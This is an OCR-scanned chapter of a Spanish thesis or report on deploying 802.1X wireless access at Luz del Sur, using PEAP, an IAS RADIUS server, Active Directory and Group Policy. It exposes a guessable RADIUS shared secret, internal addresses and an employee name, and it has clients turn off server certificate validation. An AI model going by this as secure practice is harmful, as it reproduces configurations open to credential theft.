Amenazas accidentales

La autenticacibn segura impide la conexién
accidental a la WLAN.

Redes inalambricas
maliciosas

Aunque no se ocupa directamente de los puntos
de acceso inalambrico no autorizados, se elimina
casi por completo los motivos para establecer una
WLAN no oficial.

“Free-loading” o robo de
recursos

La autenticacion segura impide la utilizacion no
autorizada de la red.




3.1.3 Opciones tecnoldgicas para el método de autenticacion

El esquema de autenticacidn tiene un efecto significativo en la manera que la solucion
requiere. El estandar 802.1X usa el esquema de autenticacion del protocolo de
autenticacion extensible, por lo que anadiendo que el sistema RADIUS se implementaria
sobre sistemas operativos Windows de Microsoft, asi como la mayoria de clientes

inalambricos, se realizd la comparacién con los tipos que se pueden usar con una

infraestructura sobre sistemas Windows. Ver Tabla 3.3.

basado en
contrasenas (EAP
~ MSCHAPv2).

Tabla 3.3 Método de autenticacion
Caracteristica PEAP EAP-TLS EAP-MD5
Autenticacion Autenticacion de Autenticacion de | Solo autenticacion
Mutua cliente y usuario. cliente y usuario. | del cliente.
Generacion Generacién Generacién No tiene
dinamica de durante la durante la generacion
clave autenticacién y autenticacion y dinamica de claves.
regeneracion en regeneracion en Posee claves fijas.
intervalos de intervalos de
tiempo. tiempo.
Nivel de Uso de Autenticacion Seguridad débil.
seguridad autenticacién de fuerte.
contrasenas
fuertes o
certificados
digitales.
Proteccion de Protegido por el Autenticacion Abierto a ataques
credenciales de | tunel de Seguridad | basada en basados en texto
usuario de Capa de certificados conocido (ataques
Transporte (TLS). protegida por el de diccionario).
tanel de
Seguridad de
Capa de
Transporte (TLS).
Facilidad de Soportado por Requiere una Simple, no
implementacion | clientes Windows. | infraestructura de | recomendado para
llave publica soluciones
(PKI). Soportado | inalambricas.
por clientes
Windows.
Flexibilidad de | Cualquier método Solamente Solamente
las EAP con tunel TLS, | certificados contrasenas.
credenciales como el método digitales.
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Como el uso de certificados requiere un costo adicional y el esquema de
autenticacion de la empresa se basa en el Directorio Activo, se eligié el método PEAP
con EAP — MSCHAPvV2 para el tipo de autenticacion que se implementaria, a pesar de
que un certificado es requerido para el servidor RADIUS. Ademas se puede migrar
facilmente a la autenticacién basada en certificados para un requerimiento futuro.

3.1.4 Esquema final

La Tabla 3.4 muestra el esquema final resultado del analisis para la implementacion

de este proyecto.

Tabla 3.4 Esquema final

Estandar seleccionado
Estandar IEEE 802.1X

Elemento

Esquema de seguridad

Método de Autenticacion

PEAP — EAP — MSCHAPV2

Protocolo de seguridad

WPA

Algoritmo de cifrado de datos

AES

Servidor RADIUS IAS de Microsoft

3.2 Diseiio de la solucion

La Figura 3.1 muestra el diagrama logico de la solucién. Las etapas del sistema son
1) Suplicante (Cliente inalambrico), 2) El Autenticador (Punto de acceso inalambrico), y 3)
El servicio de autenticacion y autorizacion (con el IAS RADIUS y el Directorio Activo).

Este se explica de manera resumida de la siguiente forma:

a. El usuario (suplicante) desea conectarse a la red, de esta manera solicita acceso al
punto de acceso

b. Este fuerza al usuario a mandar un mensaje EAP de identificacién, el usuario manda
su identidad y el punto de acceso reenvia el mensaje al servidor de autenticacion, el cual

valida las credenciales contra el Directorio Activo.
c. Finalizada y aprobada la autenticacion, el servidor envia un mensaje de autorizacion
para aceptar o rechazar la conexion.
d. Si el mensaje es aceptar la conexion, el punto de acceso permite la conexiéon del
cliente con la red interna de la empresa, usando la encriptacion WPA.

Las tres etapas del sistema de control de acceso a una red inaldmbrica privada con
administracion centralizada basado en 802.1x son detalladas en las siguientes secciones.

Para la administracion de la autenticacion de usuarios fue creado un grupo de
seguridad en el Directorio Activo de la empresa llamado “Usuarios Wireless”, cuyos
miembros seran los usuarios que tienen permiso de conexién a la red corporativa via

acceso inalambrico. Esto puede verse en la Figura 3.2.



SUPLICANTE

— e

AUTENTICADOR

SERVICIO DE AUTENTICACION Y
CLIENTE INALAMBRICO PUNTO DE ACCESO INALAMBRICO AUTORIZACION
- | 1 |
Q [ﬁ]
Usuario Conexién del cliente Autenticacion de Servido‘r-
™ o — 2l
Punto de acceso == _ .
Directorio
Autenticacion del Cliente Activo
=3
Intercambio de claves Autorizacion Servi
i ervidor
Cliente -~ - -
RADIUS
- —
Encriptacion de Dlatos/WPA
J X Y, .
Recursos Internos
Corporativos
Figura 3.1  Diagrama légico de la solucién
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~, Adtive Directory Users and Computer

(1] Saved Queries -
luzdelsur .com.pe

(2] Buitin

(] Computers

* Directivas ,
Domain Controllers m usuariosids Security Group - Global
extranet Q Vanessa Artaza Larizbeascoa Usuario Usuario San Isidro

Figura 3.2 Computadoras y usuarios del Directorio Activo
3.2.1 Etapa del Autenticador

La configuraciéon de la etapa del autenticador se compone de dos fases: a) la
preparacion y distribucién de los puntos de acceso inalambricos, y b) la configuracién de
los puntos de acceso.

a. Preparacion y Distribucion de los Puntos de Acceso Inalambricos
Todos los puntos de acceso inalambricos pertenecen a una red definida en una Red

de Area Local Virtual (VLAN) segun el estandar IEEE 802.1Q, o protocolo de etiquetado.

Nota:

VLAN (Virtual Local Area Network) es un método de crear redes ldégicamente
independientes dentro de una misma red fisica. Varias VLANs pueden coexistir en un
unico conmutador fisico o en una unica red fisica.

Esto nos permite establecer direcciones IP fijas en toda la red de la empresa sin
importar los nodos a los que son conectados (conmutadores o pasarelas), ya que en la
red predomina el Protocolo de Configuracion Dinamica de Cliente (DHCP) para obtener
una direccién IP automaticamente segun a la red a la que el cliente se conecta.

Nota:

DHCP (Dynamic Host Configuration Protocol) es un protocolo de red que permite a los
nodos de una red IP obtener sus parametros de configuracion automaticamente.

Las asignaciones de las direcciones IP estaban a cargo del Administrador de la Red.
Ubiqué a los puntos de acceso en un lugar elevado de la sala en que se dispusieron,
originalmente preveia localizarlos en el centro de cada locacién, mas por motivos de
espacio y estética tuve que colocarlos pegados a una de las paredes de la sala o
habitacion. Ver Tabla 3.5

La mayor concentracion de usuarios se encuentra en las sedes principales de
Chacarilla y de San Isidro, por lo cual la mayoria de puntos de acceso inalambricos se
ubican en dichas sedes. Por el momento, no se tienen establecidos puntos de acceso en

las sucursales de la empresa, entiéndase para pagos y atencion al cliente.
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Tabla 3.5 Distribucién de puntos de acceso inaam ricos
Modelo Local Ubicacion
TEW-410APB San Isidro Piso 18 — Gerencia General
TEW-410APB San Isidro Piso 18 — Presidencia Directorio
TEW-410APB+ San Isidro Piso 17 — Sector Comercial
TEW-410APB San Isidro Piso 17 — Sector Informatica
TEW-410APB San Isidro Piso 17 — Sala de Reuniones
TEW-410APB+ San Isidro Piso 15 - Sector Auditoria
TEW-410APB+ San Isidro Piso 15 — Sector Recursos Humanos
TEW-410APB+ San Isidro Piso 16 — Sector Finanzas
TEW-410APB+ San Isidro Reuniones Subgerencia
TEW-410APB+ Pedro Miotta Piso 1 — Sector de Ingenieria
TEW-410APB+ Vitarte Piso 1 — Sector Planeamiento
TEW-410APB Vitarte Piso 1 — Sala de Reuniones
TEW-410APB+ Pedro Miotta Piso 1 — Sector Mantenimiento de Redes
TEW-410APB Vitarte Piso 1 — Sector Proyectos
TEW-410APB+ Chacarilla Piso 3 - Oficina de Soporte
TEW-410APB+ Chacarilla Piso 2 — Sala de Reuniones
TEW-410APB+ San Isidro Piso 16 — Sala de Reuniones
TEW-510APB Chacarilla Piso 2 — Sala de Operaciones
TEW-510APB Pedro Miotta Piso 1 — Sala de Capacitacion
TEW-510APB Santa Anita Piso 1 — Sala de Reuniones
TEW-510APB Chacarilla Piso 1 — Sector Proyectos
TEW-510APB San Isidro Piso 15 — Sala de Capacitacion
TEW-510APB Chacarilla Piso 1 — Sector Servicio al Cliente
TEW-510APB Chacairilla Centro de Datos
DWL-3200AP San Isidro Centro de Datos

Nota: DWL: D-Link y TEW: Trendnet

b. Configuracion de los Puntos de Acceso

En la empresa se contaba con los siguientes modelos de puntos de acceso

inalambricos:

1. Trendnet TEW-410APB

. Trendnet TEW-410APB+

2
3. Trendnet TEW-510APB
4. D-Link DWL-3200AP

De esta lista de modelos, se actualizé el “firmware” de los que tenian el modelo
Trendnet TEW-410APB para que soporten el protocolo WPA.
La Figura 3.3 muestra un ejemplo de configuracién de un AP Trendnet TEW-410APB
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http:{/10.100.6.2fWPA_Radius.asp

The Access Point supports 3 different types of security settings.
There are: WPA Pre-Shared Key, WPA RADIUS and WEP. Please
see the help tab for more details on the different types of secunty
settings.

Security

Secutity Mode: WPA RADIUS

WPA Algotithms: AES v

1 )

R;\DIUS Seiver Addiess: (10 . 110 . 0 156 -
i )

" RADIUS Server Poit: 1812

| Radius Shaied Seciet: |luzdelsur

Group Key Renewal: 300 seconds
[ Apply] | Cancel | [ Help ]
| Terminado
Figura 3.3 Configuracion de un AP Trendnet TEW-410APB

3.2.2 Etapa del Servidor de Autenticacion (RADIUS)

El Servicio de Autenticacion de Internet (IAS) en el Servidor Windows 2003 de
Microsoft™, es la implementacion Microsoft de un servidor RADIUS. Como un servidor
RADIUS, el IAS desempena la autenticacion centralizada, autorizacién y contabilidad
(authentication, authorization, accounting - AAA) de varios tipos de conexiones de red.

El IAS valida las credenciales directamente contra el Directorio Activo como fuente de
datos y utiliza una Politica de Acceso Remoto para el control de acceso.

Se debe elegir donde se va a ubicar el Servidor de Autenticacion RADIUS, en base a
una infraestructura centralizada y con resiliencia a fallas. El protocolo RADIUS no
consume mucho ancho de banda y funciona muy bien en Redes de Area amplia, sin
embargo, se debe considerar la conexién entre el Servidor IAS y los controladores de
dominio que contienen los usuarios y grupos a los cuales se usaran para determinar el
acceso a la red corporativa.

Para asegurarse de que la comunicacién entre el servicio IAS y el Directorio Activo se
mantenga, se decidié tener al servidor IAS ejecutandose en el mismo servidor donde se
encuentra un controlador de dominio. Esta configuracién permite obtener un incremento
en el funcionamiento de la autenticaciéon y autorizacién de los usuarios, y no requiere de
inversién adicional en infraestructura fisica.
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La etapa del servidor de autenticacion (RADIUS) consta de dos fases: a) La
instalacion y Configuracién del Servicio de Autenticacion de Internet (IAS) y b) La
creacion de Politica de Acceso Remoto. Estas seran explicadas en las siguientes
subsecciones
a. Instalacion y Configuracion del Servicio de Autenticacion de Internet (IAS)

Se instala el “Servicio de Autenticacion de Internet” (Internet Authentication Service -
IAS) mediante “Agregar/Remover Componentes de Windows” (Add/Remove Windows

Components), dentro de “Networking Services” (Figura 3.4)

Windows Components
You can add or remove components of Windows.

To add or remove a component, click the checkbox. A shaded box means that only
part of the component will be installed. To see what's included in a component, click

Details.
Components:
’3 Other Network File and "" " . e _—"3 =
E Secuiity Configuration v €L WOordng JCHaERs : x|
+/ Teiminal Server To add or remove a component. click the check box. A shaded box means that only part

. & . . of the component will be installed. To see what's included in a component, click Details.
Description: Contains a variety

Subcomponents of Networking Services:

Total disk space reqt.!ired: ¥ % Domain Name System (DNS) 1.7MB =
Space available on disk: S Dynamic Host Configuration Protocol (DHCP) 0.0MB
-
— .:i_;l Remote Access Quarantine Service 0.1 MB
r 22 RPC over HTTP Proxy 0.0MB
— o Simple TCP/IP Services 0.0MB
=] windows Intemet Name Service (WINS) 0.9MB L]

Description:  Enables authentication, authorization and accounting of dial-up and VPN
users. IAS supports the RADIUS protocol.

Total disk space required: 3.3MB |
Space available on disk: 63089.1 MB
I OK I Cancel J

Figura 3.4 Instalacion del Servicio de Autenticacion de Internet de Microsoft

Para configurar el servicio IAS es necesario seleccionarlo dentro de “Herramientas
Administrativas”. Se debe registrar el servicio para que tenga acceso al Directorio Activo,
para lo cual se debe hacer, botén derecho sobre “Internet Authentication Service” =»
Register Server in Active Directory. = OK (Figura 3.5y 3.6).

Es necesario configurar los Puntos de Acceso como clientes Radius, a
continuacion se describe los pasos a seguir para cada uno. En la consola del IAS, boton
derecho sobre RADIUS Clients > New RADIUS Client. (Figura 3.7).
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. Internet Authentication Setvice b

Fle Action View Help

i e i I et ERE SR e

1
Start Service
Stop Service
Fegister Server in Ackive Direckary

20 5

I {_] Remote Access Logging
- % Remote Access Policies

[#-{_] Connection Request Processing View » :aft(i)?
Properties
S —
Figura 3.5  Registro del servicio IAS en el ]Directorio Activo
Register Internet Authentication Server in Active Directorys © i - X

To enable [AS to authenticate users in the Active Directory, the computers running 145 must be authorized to read users' diakin properties from
the domain,

Do you wish to authorize this computer to read users' did-in properties from the example.com doman?

Figura 3.6  Autorizacién para el registro en el Directorio Activo

” File Action View Help

* Internet Authentication Service (Local) F

Mesw RADILS Clienk

(=] Remote .O.ccess
i—? Remote Access  pew >
") Connection Rec
View 4
Refresh
Export List...
Help

Figura 3.7 Creacién de Cliente RADIUS

En la ventana que aparece, debemos colocar lo siguiente:



1. Friendly name.- Nombre del punto de acceso inalambrico, un nombre referencial para

identificar al equipo.

2. Client Address.- La direccién IP que tiene asignada, en el presente caso una direccion

IP fija. (Figura 3.8).

3. Shared Secret.- La clave secreta que se utilizara en la configuraciéon del punto de

acceso inalambrico para su identificacion correspondiente. (Figura 3.9).

New RADIUS Client

Name and Address

Type a friendly name and either an IP Address or DNS name for the client.

Eriendly name: IA[:[:O[](]a

Client address (IP or DNS):

|10.113.1.54 Verify... |

Cancel |

Figura 3.8  Configuracion de Cliente RADIUS

New RADIUS Client

Additional Information

If you are using remote access policies based on the client vendor attribute, specify the
vendor of the RADIUS client.

Client-Vendor:

[RADIUS Standard =]
Shared secret: Ixmm
Confirm shared secret: I"“mi

I~ Request must contain the Message Authenticator attribute

< Back | Finish I Cancel

x|

Figura 3.9 Ingreso de secreto compartido
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b. Creacion de Politica de Acceso Remoto

El IAS permite definir politicas para los accesos remotos, aqui especificaremos los
usuarios que tienen permiso de conectarse a la red inalambrica.

En la empresa, los accesos y permisos se establecen a partir de la pertenencia a un
grupo definido en el Directorio Activo, por lo cual, el servidor RADIUS permite establecer

una politica de acceso a la red que facilita la administracion en conjunto con el manejo de
usuarios en la empresa.

“» Internet Authentication Service

File Action View Help
"% 1 | I VO | 1 W1 0 I WD T 00 OO VO

> Internet Authentication Service (Local) Name
-__] RADIUS Clients 'E5 wirell
1 Remote Access Logging .ESConn
’%9 R p—
I Jew Remobe Access Policy
{_) Connection Request Pr¢ eiiReiTiEAs
New 4
View 4
Refresh
Export List...
Help

|
Figura 3.10 Creacion de nueva Politica de Acceso Remoto

Welcome to the New Remote Access
Policy Wizard

This wizard helps you set up a remote access policy,
which is a set of conditions that determine which
connection requests are granted access by this server.

To continue. click Next.

Cancel

Figura 3.11 Ayuda del Asistente para la creacion
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El acceso permitido a la red corporativa les correspondera a los usuarios
pertenecientes al grupo “Usuarios Wireless”, creado previamente, para lo cual crearemos
la politica de la siguiente manera:

En la consola de IAS: boton derecho sobre Remote Access Policies =» New Remote
Access Policy (Figura 3.10 y 3.11). Se establece una politica tipica o por defecto, asi que
se deja marcada la opcidn de usar el Asistente, y se coloca un nombre a la politica:
“Wireless Policy” (Figura 3.12).

New Remote Access Policy Wizard

Policy Configuration Method
The wizard can create a typical policy, or you can create a custom policy.

How do you want to set up this policy?

{¢ Use the wizard to set up a typical policy for a common scenario

" Set up a custom policy

Type a name that describes this policy.

Policy name: i‘w’ireless Policy

Example: Authenticate all VPN connections.

< Back Next > Cancel

Figura 3.12 Ingreso de nombre de la Politica de Acceso Remoto

El método de acceso es para la red inalambrica privada de la empresa, asi que se
marca el método Inalambrico (Figura 3.13).

Como el acceso se basara en el grupo “Usuarios Wireless”, es decir, todos los
usuarios que pertenezcan a este grupo podran conectarse a través de un punto de
acceso inalambrico, por lo tanto se elige el acceso de Grupo y se agrega al grupo antes
mencionado (Figura 3.14).

Finalmente, se selecciona el tipo EAP (Véase figura 3.15) que para el proyecto es
PEAP y se obtiene la Politica de Acceso Remoto creada (Véase figura 3.16).



New Remote Access Policy Wizard

Access Method
Policy conditions are based on the method used to gain access to the network.

Select the method of access for which you want to create a policy.

" VPN
Use for all VPN connections. To create a policy for a specific VPN type, go back to the
previous page, and select Set up a custom policy.

¢ Dialup
Use for dial-up connections that use a traditional phone line or an Integrated Services
Digital Network (ISDN]} line.

....................

& MWireless

R o st {
Use for wireless LAN connections only.

" Ethemet
Use for Ethernet connections, such as connections that use a switch.

< Back Next > Cancel ]

Figura 3.13 Elecciéon del Método de Acceso

New Remote Access Policy Wizard . Lt

User or Group Access
You can grant access to individual users, or you can grant access to selected
groups.

Grant access based on the following:

" User
User access permissions are specified in the user account.

¢ Group
Individual user permissions override group permissions.

Group name:
EXAMPLE \WirelessUsers Add...

Cancel '

Figura 3.14 Ingreso de Grupo autorizado para el acceso remoto
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New Remote Access Policy Wizard

Authentication Methods
EAP uses different types of security devices to authenticate users.

Select the EAP type for this policy.

Type:
lProtected EAP (PEAP) z| {Configure ..}

................................

Figura 3.15 Eleccion del método de autenticacion

Completing the New Remote Access
Policy Wizard

You have successfully completed the New Remote Access
Policy Wizard. You created the following policy:

Wireless Policy

Conditions:
NAS-Port-Type matches "Wireless - Other OR Wireless -

IEEE 802.11" AND
Windows-Groups matches "EXAMPLE \WirelessUsers"'
Authentication; EAP(Protected EAP (PEAP))

Encryption: Basic, Strong, Strongest, No encryption

To close this wizard. click Finish.

............................

<Back i  Firsh Cancel
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Figura 3.16 Finalizacion con el asistente para la creacion de la politica de acceso remoto
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3.2.3. Etapa del Suplicante

Para poder establecer la conexién con la red corporativa, el cliente (o suplicante)
debe poder establecer antes la negociacion con el servidor RADIUS (en este caso el IAS)
y esto se consigue mediante la configuracion de su tarjeta de red inalambrica.

Su configuracion consta de dos fases: a) La configuracion automatica de la red
inalambrica, y b) Configuracion manual de la red inalambrica. Estas seran desarrolladas a
continuacion.

a. Configuracion automatica de la red inalambrica

La mayoria de los clientes que pertenecen al dominio de la empresa tienen instalado
Windows XP con Servicio de Paquetes 2 (“Service Pack 2") como sistema operativo, esto
permite que se pueda establecer una Politica de Equipo o Computadora para que sea
aplicada a todos los equipos dentro del dominio que tengan tarjeta de red inalambrica y el
Servicio de configuracion inalambrica rapida (“Wireless Zero Configuration”) habilitado en
el sistema.

La finalidad de esta Politica sera el de configurar automaticamente las tarjetas de red
inalambricas de los clientes de manera transparente para el usuario, ya que una Politica
de Equipo o Computadora es aplicada durante el encendido de la misma.

Para la configuraciéon automatica de la tarjeta de red inaldmbrica se crearan dos
politicas:

1. Para los equipos pertenecientes al dominio donde iniciaran sesién usuarios del
dominio (caso tipico de conexion),

2. Para los equipos pertenecientes al dominio pero donde se iniciara sesidén como
usuario local (caso atipico de conexion).

En la Consola de Administracion de Politicas de Grupo se agregaron dos nuevas
Politicas de nombre “Wifi Domain Users” y “Wifi Local Users”.(Figura 3.17)

| _5'5 Group Policy Management
= _ﬁ Forest: luzdelsur.com.pe
(=53 Domains
L B .
5 §' Default Domain Policy
() Wifi Domain Users
@S Wifi Local Users
Directivas

Figura 3.17 Nuevas politicas de grupo agregadas
En cada Politica de Grupo, se ingresa a una Directiva de Grupo, donde se visualizan
la Configuracién del Equipo y la Configuracion de Usuario. Es en la Configuracion de

Equipo en la que estableceremos la configuracion de la tarjeta de red inalambrica.
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En Computer Configuration =» Windows Settings =» Security Settings =» Wireless
Network (IEEE 802.11) Policies, se establece una configuracién con los siguientes
parametros.

Wifi Properties

1. Sélo conexidén de equipo modvil a punto de acceso (Figura 3.18)

2. SSID “luzdelsur” para la empresa (Véase figura 3.19)

Edit luzdelsur Properties

1. Pestaina Network Properties, parametros “Wireless Network Key” (Figura 3.20) los
siguientes valores:

a. Autenticacién de red WPA

b. Encriptacién AES

2. Pestaia IEEE 802.1x

a. Poner Tipo de EAP en : “Protected EAP (PEAP)". Ver Figura 3.21.

b. Configurar el tipo de EAP (settings), Ver Figura 3.22.

i. Deshabilitar opcidén de certificado digital (validate Server certificate).

ii. Seleccionar método de autenticacion: Secure Password (EAP-MSCHAP v2)

3. Configurar Método de autenticacién: Usar “windows logon name” automaticamente
(solamente para el caso de equipos donde inicia sesion un usuario del dominio, es decir,
para la Politica “Wifi Domain Users”). Ver Figura 3.23.

wiriproperties B

General | Preferred Networks|

Description:

Check for policy changes every:

|1 80 minutes

Networks to access: ]Access point (infrastructure) networks only ﬂ

¥ Use Windows to configure wireless network settings for clients

[~ Automatically connect to non-preferred networks

| 0K l Cancel | Arply J

Figura 3.18 Meétodo de acceso a la red para la Politica de Grupo




WiFi Properties ﬂ m

General Preferred Networks ]

J Automatically connect to available networks in the order listed
below.

Networks:

Network Name (SSID) | IEEE 802.1x | Enciyption |

L luzdelsur Enabled AES i

Add.. | Edi. ] Remove |

I OK I Cancel J |

Figura 3.19 Ingreso del SSID “luzdelsur”
Edit luzdelsur Properties [ 2 | x|
Network Properties l IEEE 8[]2_1x|

Network name (SSID):

Description:

7Sample Description -

Lo L

~Wireless network key —

Network Authentication: IWPA :J

Data encryption: I AES l]

¥ The key is provided automatically

I~ Thisis a computer-to-computer (ad hoc) network; wireless access
points are not used

oK Cancel !

Figura 3.20 Autenticacion de red y encriptacion



Edit luzdelsur Properties

Network Properties IEEE 802.1x |

v

EAPOL-Start message:

| Parameters (seconds)—

I Max start: E Start period: IBO
| Held period: [Eﬁ____ Authentication period: [50

EAPtype:  |Protected EAP (PEAP)

Settings... ]

=l

r Authenticate as guest when user or computer information is
unavailable

[V Authenticate as computer when computer information is available

Computer authenticatign: lWith user re-authentication _:]

OK

Cancel

Figura 3.21 Tipo EAP
Protected EAP Properties

When connecting:

I~ ¥alidate server certificatei-

-

|

[ aBA.ECOM Root CA

[ Autoridad Certificadora de la Asociacion Nacional del Notaria
[ Autoridad Certificadora del Colegio Nacional de Correduria P.
[ Baltimore EZ by DST

[ Belgacom E-Trust Primary CA

[ caw HKT SecureNet CA Class A

[ cas HKT SecureNet CA Class B v
< | »
-

Select Authentication Method:

lSecured password (EAP-MSCHAP v2) | Configure... |

F Y

{¥ Enable Fast Reconnect

I OK l Cancel |

Figura 3.22 Método EAP
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EAP MSCHAPv2 Properties E3

When connecting:

r Automatically use my Windows logon name and
password (and domain if any).

[

Figura 3.23 Eleccién del uso de las credenciales de sesién de Windows

Cancel I

La aplicacion de las Politicas de Grupo se realizard en base a dos grupos de
computadoras en el Directorio Activo, creadas previamente, que se llaman “Laptops

Usuarios Dominio” y “Laptops Usuarios Locales”. Figura 3.24.

e E—
=) APHB Computer
mLaptops Usuarios Dominio Security Group - Global
mLaptops Usuarios Locales Security Group - Global
= Lapwako Computer

Figura 3.24 Grupos de PC en Directorio Activo
En el filtro de Seguridad, se agregara al grupo donde dicha politica sera aplicada:

1) Para “Wifi Domain Users”, el grupo de “Laptops Usuarios Dominio” (Figura 3.24)
;ﬁ TS T — =

@) Symantec Encryption Location | Enforced | Link Enabled | Path

A i Domain Usel s 3
2 747 luzdelsur.com.pe No Yes luzdelsur.com.pe
@) Wi Local Users "_j . ziesdL.comp

¥ o] Directivas

# |7} Domain Controllers
{sf] extranet Secunity Filtering
® &3 Luz del Sur
() Servidores )
# L} Group Policy Objects Name
® L} WMI Filters Laptops Usuatios Dominio (LUZDELSUR\Laptops Usuarios Dominio)

The settings in this GPO can only apply to the following groups, users, and computers:

Add... l Remove I I

Figura 3.25 Usuarios dominio
2) Para “Wifi Local Users”, el grupo de “Laptops Usuarios Locales” (Figura 3.25)

= =
Z__"; ;SV\/iflr.\?tec.Erl\Jcryptlon Location l Enlorced] Link Enabled] Path
% T ffj’luzdelsw.com.pe No Yes luzdelsur.com.pe
+ 17 Directivas
(7 Domain Controflers
) (<) extranet Security Filtering
i {.ﬂ . ‘?e' =1 The settings in this GPO can only apply to the following groups, users, and computers:
(< Servidores
o {Q Group Policy Obijects Name < !
ol Lg WHI Filters @Laptops Usuaros Locales (LUZDELSUR\Laptops Usuarios Locales)
E,[es Add.. Remove l Properties I

Figura 3.25 Usuarios Locales
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Estas Politicas afectaran unicamente a los equipos moviles o clientes inalambricos de
la empresa, y se veran aplicadas cuando la computadora sea encendida. Asi también la
funcién principal es de agregar automaticamente el perfil de la red identificada como
“luzdelsur” en la configuracion de la tarjeta de red inalambrica.

La unica diferencia en la configuracion de estas Politicas de Grupo, es que para el
caso de “Wifi Domain Users”, las credenciales de usuario seran enviadas a partir de la
sesion del usuario autenticado en el dominio de la empresa, mientras que para el caso de
“Wifi Local Users”, aparecera un cuadro de dialogo para introducir el nombre del usuario y
la contrasena a autenticar en el servidor RADIUS o IAS. Obviamente, dichos usuarios
deben pertenecer al grupo “Usuarios Wireless” para que se les conceda la conexién a la

red de la empresa. Ver Figura 3.26.

Escribir credenciales

45

Nombre de usuario
usuario:

Contrasefia: (LT
Dominio de LUZDELSUR

inicio de sesion:

| Aceptar ] I Cancelar |

Figura 3.26 Ingreso de credenciales, dominio y contrasefa
b. Configuracion manual de la red inalambrica

Dentro de los usuarios que acceden de forma inalambrica a la red corporativa, se
encuentran los usuarios con equipos moviles que no pertenecen al dominio de la
empresa, como el caso de usuarios invitados.

Se contempla esta situacién, sin embargo, la configuracién debera ser de forma
manual, y varia en cada equipo, por la marca, el modelo, e incluso por el programa que
se usa para controlar la tarjeta de red inalambrica (no usa el servicio de los sistemas
Windows). Como la conexién requiere de un usuario valido del dominio y dentro del grupo
designado para el acceso, he creado usuarios genéricos en el Directorio Activo para que
sean ingresados sus usuarios y contrasenas al invitado que se le designe el uso.

Asi si una empresa contratista requiere de un usuario designado, se le puede otorgar
uno para el empleo correspondiente. La ventaja de crear un usuario en el Directorio

Activo es que se puede definir su contrasena, establecer un periodo de validez, y todos
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los atributos que corresponden a una cuenta creada en el dominio.

La administracion de estas cuentas requiere un especial cuidado que debe recaer
sobre el Administrador de Cuentas de Usuarios en el Directorio Activo, ya que un mal
manejo de éstas puede derivar en accesos no autorizados.

3.3 Pruebas basicas de la solucion

Dos tipos de pruebas basicas realizadas, las de conectividad y las de potencia de la
senal.

3.3.1 Pruebas de conectividad

En un principio el area de Soporte Tecnolégico realizd las pruebas de conexion y
autenticacién con una computadora mavil sin inconvenientes.

Debido a la experiencia en este campo, se decidié hacer las pruebas con un usuario
habitual. Para ello se eligieron pocos usuarios para que se autenticaran a través de la
nueva red inalambrica y se mantuvo la anterior (los SSID) todavia como etapa de
transicion hasta completar la migracion de todos los usuarios con computadora mavil.

Durante estas pruebas se encontraron los siguientes problemas desde el punto de

vista del cliente inalambrico:

Problema 1: No se encuentra la red inalambrica dentro del alcance o no se encuentra la
nueva red “luzdelsur” en la lista de las redes inalambricas.
Solucion: Propiamente un problema que al principio tenia que ver con el rango de
cobertura de la sefal del punto de acceso, sin embargo, en la mayoria de casos se debia
a dos cosas:
1. En el punto de acceso no estaba habilitado la difusién del identificador SSID de la red
“luzdelsur”, se solucionaba habilitando la difusién.
2. No estaba encendido la tarjeta de red inalambrica mediante el dispositivo de encendido
WiFi del cliente mévil, se solucionaba encendiendo el dispositivo inalambrico respectivo.
Problema 2: El usuario ha iniciado sesion en el dominio pero no logra conectarse a la red
inalambrica WiFi.
Solucién: Usualmente esto ocurria cuando la cuenta del usuario habia quedado
deshabilitada, pero cuando iniciaba sesiéon lo hacia utilizando las credenciales
almacenadas en el caché del perfil de Windows debido a que no tenia conexiéon con la
red, en ese caso el estado de la red inalambrica aparecia como “Comprobando
identidad”, con lo cual se debia corregir el estado de la cuenta del usuario en el Directorio
Activo (Figura 3.27).

También se presentaba cuando la contrasena del usuario habia sido modificada (en
otra PC por ejemplo), pero como al iniciar sesién no tiene conexién de red, iniciaba
utilizando las credenciales antiguas (por “caché” de Windows), en ese caso el estado de
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la conexidon de red apareceria como “Intentando autenticar” (Figura 3.28). Para corregirlo,
se debia conectar el equipo a la red corporativa a través de otro medio (cable UTP),
bloquear el equipo y desbloquear utilizando las credenciales correctas (Figura 3.29).

En casos particulares, se presentd cuando el punto de acceso inalambrico no tenia
comunicacion con el servidor RADIUS o IAS, con lo cual se verificaba la conexion del

punto de acceso a la red corporativa de la empresa.

General | Soporte

Conexién
Estado:
Red:
Duracién:
Velocidad:

Intensidad de sefial:

Actividad

Enviados Recibidos

Paquetes: 3,764 5.380

[ cemar |

Figura 3.27 Estado Comprobando identidad

General  Soporte
Conexdn
Estado: Intentando autentlc;:
Red: luzdelsur
Duracién: 00.02:44
Velocidad: ££.0 Mbps
Intensidad de sefial: alll
tividad
Enviados Recibidos
[ ]
Paquetes: 502 436
E_Eropnedadg{ﬂ l Deshabiltar ] [ Ver redes malémbncasJ
Cemar |

Figura 3.28 Estado Intentando autenticar
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Credenciales caducadas

Window's necesita sus credendales actuales para asegurar la conexion de red.

Bloquee este equipo, después desbloguéelo usando la contraseria mas redente o una tarjeta inteligente.
Para bloquear el equipo, presione CTRL+ALT +SUPR, y después presione ENTRAR.

i Aceptar

Figura 3.29 Credenciales caducadas

Problema 3: Un usuario invitado no lograba conectarse a la red inalambrica WiFi.

Solucion: En las credenciales pasadas o guardadas en el perfil de la configuracion de la
red (nombre de usuario, contrasefia, dominio) habia cambiado la contrasefia del usuario,
por lo que apareceria el estado de la conexién de la red como “Intentando autenticar’.
Normalmente, apareceria un globo de notificacién para introducir el nuevo valor de la
contrasefa dado por el Administrador de la Red (Figura 3.30), ya que el anteriormente

guardado no correspondia al usuario establecido.

Windows no pudo conectarse a la red utlizando el nombre de
usuario y la contrasena proporcionados. Vuelva a intentarlo.

Nombre de usuario:
Contrasena: 00000000

Dominio:

l Aceptar ] [ Cancelar J

Figura 3.30 Reingreso de contrasefa de usuario

Otra posibilidad es que la cuenta con la cual procedia la conexion inaldmbrica habia
quedado inhabiltada o habia sido eliminada, el estado de la conexion de la red
apareceria como “Comprobando identidad”. Ante este caso, fue necesario habilitarle
nuevas credenciales (usuario y contrasena) proporcionadas por el Administrador de red,
lo cual requeria reconfigurar la tarjeta de red inalambrica, es decir, eliminar el perfil de
conexion a la red inalambrica de la empresa y crear uno nuevo.

También pasaba cuando la casilla de Validar un certificado estaba seleccionada, en
cuyo caso el estado de la conexion de la red apareceria como “Comprobando identidad” y
se desplegaba un globo de informacién indicando que no se pudo encontrar un certificado
